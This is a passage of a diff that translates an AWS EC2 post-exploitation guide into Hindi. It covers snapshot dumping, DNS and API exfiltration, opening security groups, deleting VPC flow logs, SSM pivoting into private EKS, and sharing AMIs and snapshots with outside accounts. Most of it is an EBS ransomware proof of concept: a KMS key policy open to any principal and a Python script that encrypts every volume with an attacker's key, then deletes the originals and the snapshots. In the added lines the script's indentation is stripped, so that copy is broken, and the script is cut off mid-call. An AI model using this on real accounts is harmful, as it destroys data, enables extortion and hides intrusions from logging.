भेजा जाएगा।\ +एक हमलावर इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और इससे संवेदनशील जानकारी प्राप्त कर सकता है: -For more information check this page: +अधिक जानकारी के लिए इस पृष्ठ को देखें: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,8 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances usually contain some kind of sensitive information. There are different ways to get inside (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc.md)). However, another way to check what it contains is to **create an AMI and run a new instance (even in your own account) from it**: - +इंस्टेंस आमतौर पर कुछ प्रकार की संवेदनशील जानकारी रखते हैं। अंदर जाने के विभिन्न तरीके हैं (देखें [EC2 विशेषाधिकार वृद्धि तकनीक](../../aws-privilege-escalation/aws-ec2-privesc.md)). हालाँकि, यह जांचने का एक और तरीका है कि इसमें क्या है **एक AMI बनाना और इससे एक नया इंस्टेंस चलाना (यहां तक कि अपने स्वयं के खाते में)**: ```shell # List instances aws ec2 describe-images @@ -48,11 +47,10 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` - ### EBS Snapshot dump -**Snapshots are backups of volumes**, which usually will contain **sensitive information**, therefore checking them should disclose this information.\ -If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account: +**Snapshots हैं वॉल्यूम के बैकअप**, जो आमतौर पर **संवेदनशील जानकारी** रखेंगे, इसलिए इन्हें चेक करने से यह जानकारी प्रकट होनी चाहिए।\ +यदि आप एक **वॉल्यूम बिना स्नैपशॉट** के पाते हैं तो आप: **एक स्नैपशॉट बनाएँ** और निम्नलिखित क्रियाएँ करें या बस **इसे एक इंस्टेंस में माउंट करें** खाते के अंदर: {{#ref}} aws-ebs-snapshot-dump.md @@ -62,196 +60,177 @@ aws-ebs-snapshot-dump.md #### DNS Exfiltration -Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. +भले ही आप एक EC2 को इस तरह लॉक कर दें कि कोई ट्रैफिक बाहर न जा सके, यह अभी भी **DNS के माध्यम से एक्सफिल्ट्रेट** कर सकता है। -- **VPC Flow Logs will not record this**. -- You have no access to AWS DNS logs. -- Disable this by setting "enableDnsSupport" to false with: +- **VPC फ्लो लॉग इसे रिकॉर्ड नहीं करेंगे**। +- आपके पास AWS DNS लॉग्स तक पहुँच नहीं है। +- इसे "enableDnsSupport" को false सेट करके बंद करें: - `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` +`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. +एक हमलावर एक खाते के API एंडपॉइंट्स को कॉल कर सकता है जिसे वह नियंत्रित करता है। क्लाउडट्रेल इन कॉल्स को लॉग करेगा और हमलावर क्लाउडट्रेल लॉग्स में एक्सफिल्ट्रेट डेटा देख सकेगा। ### Open Security Group -You could get further access to network services by opening ports like this: - +आप नेटवर्क सेवाओं तक आगे की पहुँच प्राप्त कर सकते हैं जैसे कि इस तरह पोर्ट खोलकर: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` - ### Privesc to ECS -It's possible to run an EC2 instance an register it to be used to run ECS instances and then steal the ECS instances data. +यह संभव है कि एक EC2 उदाहरण चलाया जाए और इसे ECS उदाहरणों को चलाने के लिए पंजीकृत किया जाए और फिर ECS उदाहरणों के डेटा को चुराया जाए। For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc.md#privesc-to-ecs). ### Remove VPC flow logs - ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` - ### SSM Port Forwarding Required permissions: - `ssm:StartSession` -In addition to command execution, SSM allows for traffic tunneling which can be abused to pivot from EC2 instances that do not have network access because of Security Groups or NACLs. -One of the scenarios where this is useful is pivoting from a [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) to a private EKS cluster. +कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे उन EC2 उदाहरणों से पिवट करने के लिए दुरुपयोग किया जा सकता है जिनके पास सुरक्षा समूहों या NACLs के कारण नेटवर्क पहुंच नहीं है। यह एक परिदृश्य है जहां यह उपयोगी है, [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS क्लस्टर में पिवट करना। -> In order to start a session you need the SessionManagerPlugin installed: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html - -1. Install the SessionManagerPlugin on your machine -2. Log in to the Bastion EC2 using the following command: +> एक सत्र शुरू करने के लिए आपको SessionManagerPlugin स्थापित करने की आवश्यकता है: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html +1. अपने मशीन पर SessionManagerPlugin स्थापित करें +2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` - -3. Get the Bastion EC2 AWS temporary credentials with the [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) script -4. Transfer the credentials to your own machine in the `$HOME/.aws/credentials` file as `[bastion-ec2]` profile -5. Log in to EKS as the Bastion EC2: - +3. [AWS EC2 वातावरण में SSRF का दुरुपयोग](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ बैस्टियन EC2 AWS अस्थायी क्रेडेंशियल प्राप्त करें +4. क्रेडेंशियल्स को अपने मशीन में `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` प्रोफ़ाइल के रूप में स्थानांतरित करें +5. बैस्टियन EC2 के रूप में EKS में लॉग इन करें: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` - -6. Update the `server` field in `$HOME/.kube/config` file to point to `https://localhost` -7. Create an SSM tunnel as follows: - +6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` की ओर इंगित करने के लिए अपडेट करें +7. निम्नलिखित के अनुसार एक SSM टनल बनाएं: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` - -8. The traffic from the `kubectl` tool is now forwarded throug the SSM tunnel via the Bastion EC2 and you can access the private EKS cluster from your own machine by running: - +8. `kubectl` टूल से ट्रैफ़िक अब बैस्टियन EC2 के माध्यम से SSM टनल के माध्यम से अग्रेषित किया गया है और आप अपने मशीन से निम्नलिखित कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं: ```shell kubectl get pods --insecure-skip-tls-verify ``` +ध्यान दें कि SSL कनेक्शन विफल हो जाएंगे जब तक आप `--insecure-skip-tls-verify` ध्वज (या K8s ऑडिट टूल में इसके समकक्ष) को सेट नहीं करते। चूंकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया गया है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं। -Note that the SSL connections will fail unless you set the `--insecure-skip-tls-verify ` flag (or its equivalent in K8s audit tools). Seeing that the traffic is tunnelled through the secure AWS SSM tunnel, you are safe from any sort of MitM attacks. - -Finally, this technique is not specific to attacking private EKS clusters. You can set arbitrary domains and ports to pivot to any other AWS service or a custom application. +अंत में, यह तकनीक निजी EKS क्लस्टरों पर हमले के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS सेवा या कस्टम एप्लिकेशन पर पिवट करने के लिए मनचाहे डोमेन और पोर्ट सेट कर सकते हैं। ### Share AMI - ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` +### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें -### Search sensitive information in public and private AMIs - -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel is a tool designed to **search for sensitive information within public or private Amazon Machine Images (AMIs)**. It automates the process of launching instances from target AMIs, mounting their volumes, and scanning for potential secrets or sensitive data. - -### Share EBS Snapshot +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक उपकरण है जो **सार्वजनिक या निजी अमेज़न मशीन इमेज (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए डिज़ाइन किया गया है**। यह लक्षित AMIs से उदाहरण लॉन्च करने, उनके वॉल्यूम को माउंट करने और संभावित रहस्यों या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। +### EBS स्नैपशॉट साझा करें ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` - ### EBS Ransomware PoC -A proof of concept similar to the Ransomware demonstration demonstrated in the S3 post-exploitation notes. KMS should be renamed to RMS for Ransomware Management Service with how easy it is to use to encrypt various AWS services using it. - -First from an 'attacker' AWS account, create a customer managed key in KMS. For this example we'll just have AWS manage the key data for me, but in a realistic scenario a malicious actor would retain the key data outside of AWS' control. Change the key policy to allow for any AWS account Principal to use the key. For this key policy, the account's name was 'AttackSim' and the policy rule allowing all access is called 'Outside Encryption' +एक प्रमाणित अवधारणा जो S3 पोस्ट-एक्सप्लॉइटेशन नोट्स में प्रदर्शित Ransomware प्रदर्शन के समान है। KMS को Ransomware प्रबंधन सेवा (RMS) के रूप में पुनः नामित किया जाना चाहिए, क्योंकि इसे विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग करना कितना आसान है। +पहले 'हमलावर' AWS खाते से, KMS में एक ग्राहक प्रबंधित कुंजी बनाएं। इस उदाहरण के लिए, हम बस AWS को मेरे लिए कुंजी डेटा प्रबंधित करने देंगे, लेकिन एक वास्तविक परिदृश्य में, एक दुर्भावनापूर्ण अभिनेता AWS के नियंत्रण से बाहर कुंजी डेटा को बनाए रखेगा। कुंजी नीति को इस प्रकार बदलें कि किसी भी AWS खाता प्रिंसिपल को कुंजी का उपयोग करने की अनुमति हो। इस कुंजी नीति के लिए, खाते का नाम 'AttackSim' था और सभी पहुंच की अनुमति देने वाला नीति नियम 'बाहरी एन्क्रिप्शन' कहा जाता है। ``` { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Outside Encryption", - "Effect": "Allow", - "Principal": { - "AWS": "*" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey", - "kms:GenerateDataKeyWithoutPlainText", - "kms:CreateGrant" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:CreateGrant", - "kms:ListGrants", - "kms:RevokeGrant" - ], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Outside Encryption", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey", +"kms:GenerateDataKeyWithoutPlainText", +"kms:CreateGrant" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:CreateGrant", +"kms:ListGrants", +"kms:RevokeGrant" +], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - The key policy rule needs the following enabled to allow for the ability to use it to encrypt an EBS volume: - `kms:CreateGrant` @@ -260,222 +239,214 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +अब सार्वजनिक रूप से सुलभ कुंजी का उपयोग करने के साथ। हम एक 'पीड़ित' खाते का उपयोग कर सकते हैं जिसमें कुछ EC2 उदाहरण हैं जिनसे अनएन्क्रिप्टेड EBS वॉल्यूम जुड़े हुए हैं। इस 'पीड़ित' खाते के EBS वॉल्यूम वह हैं जिनका हम एन्क्रिप्शन के लिए लक्ष्य बना रहे हैं, यह हमला एक उच्च-विशेषाधिकार AWS खाते के उल्लंघन के तहत है। ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 रैनसमवेयर उदाहरण के समान। यह हमला जुड़े हुए EBS वॉल्यूम की प्रतियां स्नैपशॉट का उपयोग करके बनाएगा, 'हमलावर' खाते से सार्वजनिक रूप से उपलब्ध कुंजी का उपयोग करके नए EBS वॉल्यूम को एन्क्रिप्ट करेगा, फिर EC2 उदाहरणों से मूल EBS वॉल्यूम को हटा देगा और उन्हें हटा देगा, और अंत में नए एन्क्रिप्टेड EBS वॉल्यूम बनाने के लिए उपयोग किए गए स्नैपशॉट को हटा देगा। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +इसका परिणाम केवल एन्क्रिप्टेड EBS वॉल्यूम के रूप में है जो खाते में उपलब्ध हैं। ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +यह भी ध्यान देने योग्य है कि स्क्रिप्ट ने मूल EBS वॉल्यूम को हटाने और हटाने के लिए EC2 उदाहरणों को रोक दिया। अब मूल अनएन्क्रिप्टेड वॉल्यूम चले गए हैं। ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. - +अगला, 'हमलावर' खाते में कुंजी नीति पर लौटें और कुंजी नीति से 'बाहरी एन्क्रिप्शन' नीति नियम को हटा दें। ```json { - "Version": "2012-10-17", - "Id": "key-consolepolicy-3", - "Statement": [ - { - "Sid": "Enable IAM User Permissions", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:root" - }, - "Action": "kms:*", - "Resource": "*" - }, - { - "Sid": "Allow access for Key Administrators", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Create*", - "kms:Describe*", - "kms:Enable*", - "kms:List*", - "kms:Put*", - "kms:Update*", - "kms:Revoke*", - "kms:Disable*", - "kms:Get*", - "kms:Delete*", - "kms:TagResource", - "kms:UntagResource", - "kms:ScheduleKeyDeletion", - "kms:CancelKeyDeletion" - ], - "Resource": "*" - }, - { - "Sid": "Allow use of the key", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": [ - "kms:Encrypt", - "kms:Decrypt", - "kms:ReEncrypt*", - "kms:GenerateDataKey*", - "kms:DescribeKey" - ], - "Resource": "*" - }, - { - "Sid": "Allow attachment of persistent resources", - "Effect": "Allow", - "Principal": { - "AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" - }, - "Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], - "Resource": "*", - "Condition": { - "Bool": { - "kms:GrantIsForAWSResource": "true" - } - } - } - ] +"Version": "2012-10-17", +"Id": "key-consolepolicy-3", +"Statement": [ +{ +"Sid": "Enable IAM User Permissions", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:root" +}, +"Action": "kms:*", +"Resource": "*" +}, +{ +"Sid": "Allow access for Key Administrators", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Create*", +"kms:Describe*", +"kms:Enable*", +"kms:List*", +"kms:Put*", +"kms:Update*", +"kms:Revoke*", +"kms:Disable*", +"kms:Get*", +"kms:Delete*", +"kms:TagResource", +"kms:UntagResource", +"kms:ScheduleKeyDeletion", +"kms:CancelKeyDeletion" +], +"Resource": "*" +}, +{ +"Sid": "Allow use of the key", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": [ +"kms:Encrypt", +"kms:Decrypt", +"kms:ReEncrypt*", +"kms:GenerateDataKey*", +"kms:DescribeKey" +], +"Resource": "*" +}, +{ +"Sid": "Allow attachment of persistent resources", +"Effect": "Allow", +"Principal": { +"AWS": "arn:aws:iam::[Your AWS Account Id]:user/AttackSim" +}, +"Action": ["kms:CreateGrant", "kms:ListGrants", "kms:RevokeGrant"], +"Resource": "*", +"Condition": { +"Bool": { +"kms:GrantIsForAWSResource": "true" +} +} +} +] } ``` - -Wait a moment for the newly set key policy to propagate. Then return to the 'victim' account and attempt to attach one of the newly encrypted EBS volumes. You'll find that you can attach the volume. +एक पल रुकें ताकि नए सेट किए गए कुंजी नीति का प्रचार हो सके। फिर 'पीड़ित' खाते में वापस जाएं और नए एन्क्रिप्टेड EBS वॉल्यूम में से एक को अटैच करने का प्रयास करें। आप पाएंगे कि आप वॉल्यूम को अटैच कर सकते हैं। ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -But when you attempt to actually start the EC2 instance back up with the encrypted EBS volume it'll just fail and go from the 'pending' state back to the 'stopped' state forever since the attached EBS volume can't be decrypted using the key since the key policy no longer allows it. +लेकिन जब आप एन्क्रिप्टेड EBS वॉल्यूम के साथ EC2 इंस्टेंस को फिर से शुरू करने का प्रयास करते हैं, तो यह बस विफल हो जाएगा और 'पेंडिंग' स्थिति से 'रुका हुआ' स्थिति में हमेशा के लिए वापस चला जाएगा क्योंकि अटैच किया गया EBS वॉल्यूम कुंजी का उपयोग करके डिक्रिप्ट नहीं किया जा सकता क्योंकि कुंजी नीति अब इसकी अनुमति नहीं देती। ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -This the python script used. It takes AWS creds for a 'victim' account and a publicly available AWS ARN value for the key to be used for encryption. The script will make encrypted copies of ALL available EBS volumes attached to ALL EC2 instances in the targeted AWS account, then stop every EC2 instance, detach the original EBS volumes, delete them, and finally delete all the snapshots utilized during the process. This will leave only encrypted EBS volumes in the targeted 'victim' account. ONLY USE THIS SCRIPT IN A TEST ENVIRONMENT, IT IS DESTRUCTIVE AND WILL DELETE ALL THE ORIGINAL EBS VOLUMES. You can recover them using the utilized KMS key and restore them to their original state via snapshots, but just want to make you aware that this is a ransomware PoC at the end of the day. - +यह वह पायथन स्क्रिप्ट है जिसका उपयोग किया गया है। यह 'पीड़ित' खाते के लिए AWS क्रेड्स और एन्क्रिप्शन के लिए उपयोग की जाने वाली कुंजी के लिए एक सार्वजनिक रूप से उपलब्ध AWS ARN मान लेता है। यह स्क्रिप्ट लक्षित AWS खाते में सभी EC2 इंस्टेंस से जुड़े सभी उपलब्ध EBS वॉल्यूम के एन्क्रिप्टेड कॉपी बनाएगी, फिर हर EC2 इंस्टेंस को रोक देगी, मूल EBS वॉल्यूम को अटैच से हटा देगी, उन्हें हटा देगी, और अंततः प्रक्रिया के दौरान उपयोग किए गए सभी स्नैपशॉट को हटा देगी। इससे लक्षित 'पीड़ित' खाते में केवल एन्क्रिप्टेड EBS वॉल्यूम रह जाएंगे। इस स्क्रिप्ट का उपयोग केवल परीक्षण वातावरण में करें, यह विनाशकारी है और सभी मूल EBS वॉल्यूम को हटा देगा। आप उपयोग की गई KMS कुंजी का उपयोग करके उन्हें पुनर्प्राप्त कर सकते हैं और स्नैपशॉट के माध्यम से उन्हें उनके मूल स्थिति में बहाल कर सकते हैं, लेकिन मैं आपको यह बताना चाहता था कि यह अंततः एक रैनसमवेयर PoC है। ``` import boto3 import argparse from botocore.exceptions import ClientError def enumerate_ec2_instances(ec2_client): - instances = ec2_client.describe_instances() - instance_volumes = {} - for reservation in instances['Reservations']: - for instance in reservation['Instances']: - instance_id = instance['InstanceId'] - volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] - instance_volumes[instance_id] = volumes - return instance_volumes +instances = ec2_client.describe_instances() +instance_volumes = {} +for reservation in instances['Reservations']: +for instance in reservation['Instances']: +instance_id = instance['InstanceId'] +volumes = [vol['Ebs']['VolumeId'] for vol in instance['BlockDeviceMappings'] if 'Ebs' in vol] +instance_volumes[instance_id] = volumes +return instance_volumes def snapshot_volumes(ec2_client, volumes): - snapshot_ids = [] - for volume_id in volumes: - snapshot = ec2_client.create_snapshot(VolumeId=volume_id) - snapshot_ids.append(snapshot['SnapshotId']) - return snapshot_ids +snapshot_ids = [] +for volume_id in volumes: +snapshot = ec2_client.create_snapshot(VolumeId=volume_id) +snapshot_ids.append(snapshot['SnapshotId']) +return snapshot_ids def wait_for_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) +for snapshot_id in snapshot_ids: +ec2_client.get_waiter('snapshot_completed').wait(SnapshotIds=[snapshot_id]) def create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn): - new_volume_ids = [] - for snapshot_id in snapshot_ids: - snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] - volume_id = snapshot_info['VolumeId'] - volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] - availability_zone = volume_info['AvailabilityZone'] +new_volume_ids = [] +for snapshot_id in snapshot_ids: +snapshot_info = ec2_client.describe_snapshots(SnapshotIds=[snapshot_id])['Snapshots'][0] +volume_id = snapshot_info['VolumeId'] +volume_info = ec2_client.describe_volumes(VolumeIds=[volume_id])['Volumes'][0] +availability_zone = volume_info['AvailabilityZone'] - volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, - Encrypted=True, KmsKeyId=kms_key_arn) - new_volume_ids.append(volume['VolumeId']) - return new_volume_ids +volume = ec2_client.create_volume(SnapshotId=snapshot_id, AvailabilityZone=availability_zone, +Encrypted=True, KmsKeyId=kms_key_arn) +new_volume_ids.append(volume['VolumeId']) +return new_volume_ids def stop_instances(ec2_client, instance_ids): - for instance_id in instance_ids: - try: - instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) - instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] +for instance_id in instance_ids: +try: +instance_description = ec2_client.describe_instances(InstanceIds=[instance_id]) +instance_state = instance_description['Reservations'][0]['Instances'][0]['State']['Name'] - if instance_state == 'running': - ec2_client.stop_instances(InstanceIds=[instance_id]) - print(f"Stopping instance: {instance_id}") - ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) - print(f"Instance {instance_id} stopped.") - else: - print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") +if instance_state == 'running': +ec2_client.stop_instances(InstanceIds=[instance_id]) +print(f"Stopping instance: {instance_id}") +ec2_client.get_waiter('instance_stopped').wait(InstanceIds=[instance_id]) +print(f"Instance {instance_id} stopped.") +else: +print(f"Instance {instance_id} is not in a state that allows it to be stopped (current state: {instance_state}).") - except ClientError as e: - print(f"Error stopping instance {instance_id}: {e}") +except ClientError as e: +print(f"Error stopping instance {instance_id}: {e}") def detach_and_delete_volumes(ec2_client, volumes): - for volume_id in volumes: - try: - ec2_client.detach_volume(VolumeId=volume_id) - ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) - ec2_client.delete_volume(VolumeId=volume_id) - print(f"Deleted volume: {volume_id}") - except ClientError as e: - print(f"Error detaching or deleting volume {volume_id}: {e}") +for volume_id in volumes: +try: +ec2_client.detach_volume(VolumeId=volume_id) +ec2_client.get_waiter('volume_available').wait(VolumeIds=[volume_id]) +ec2_client.delete_volume(VolumeId=volume_id) +print(f"Deleted volume: {volume_id}") +except ClientError as e: +print(f"Error detaching or deleting volume {volume_id}: {e}") def delete_snapshots(ec2_client, snapshot_ids): - for snapshot_id in snapshot_ids: - try: - ec2_client.delete_snapshot(SnapshotId=snapshot_id) - print(f"Deleted snapshot: {snapshot_id}") - except ClientError as e: - print(f"Error deleting snapshot {snapshot_id}: {e}") +for snapshot_id in snapshot_ids: +try: +ec2_client.delete_snapshot(SnapshotId=snapshot_id) +print(f"Deleted snapshot: {snapshot_id}") +except ClientError as e: +print(f"Error deleting snapshot {snapshot_id}: {e}") def replace_volumes(ec2_client, instance_volumes): - instance_ids = list(instance_volumes.keys()) - stop_instances(ec2_client, instance_ids) +instance_ids = list(instance_volumes.keys()) +stop_instances(ec2_client, instance_ids) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - detach_and_delete_volumes(ec2_client, all_volumes) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +detach_and_delete_volumes(ec2_client, all_volumes) def ebs_lock(access_key, secret_key, region, kms_key_arn): - ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) +ec2_client = boto3.client('ec2', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name=region) - instance_volumes = enumerate_ec2_instances(ec2_client) - all_volumes = [vol for vols in instance_volumes.values() for vol in vols] - snapshot_ids = snapshot_volumes(ec2_client, all_volumes) - wait_for_snapshots(ec2_client, snapshot_ids) - create_encrypted_volumes(ec2_client, snapshot_ids, kms_key_arn) # New encrypted volumes are created but not attached - replace_volumes(ec2_client, instance_volumes) # Stops instances, detaches and deletes old volumes - delete_snapshots(ec2_client, snapshot_ids) # Optionally delete snapshots if no longer needed +instance_volumes = enumerate_ec2_instances(ec2_client) +all_volumes = [vol for vols in instance_volumes.values() for vol in vols] +snapshot_ids = snapshot_volumes(ec2_client, all_volumes) +wait_for_snapshots(ec2_client, snapshot_ids) +create_encrypted_volumes(ec2_client, 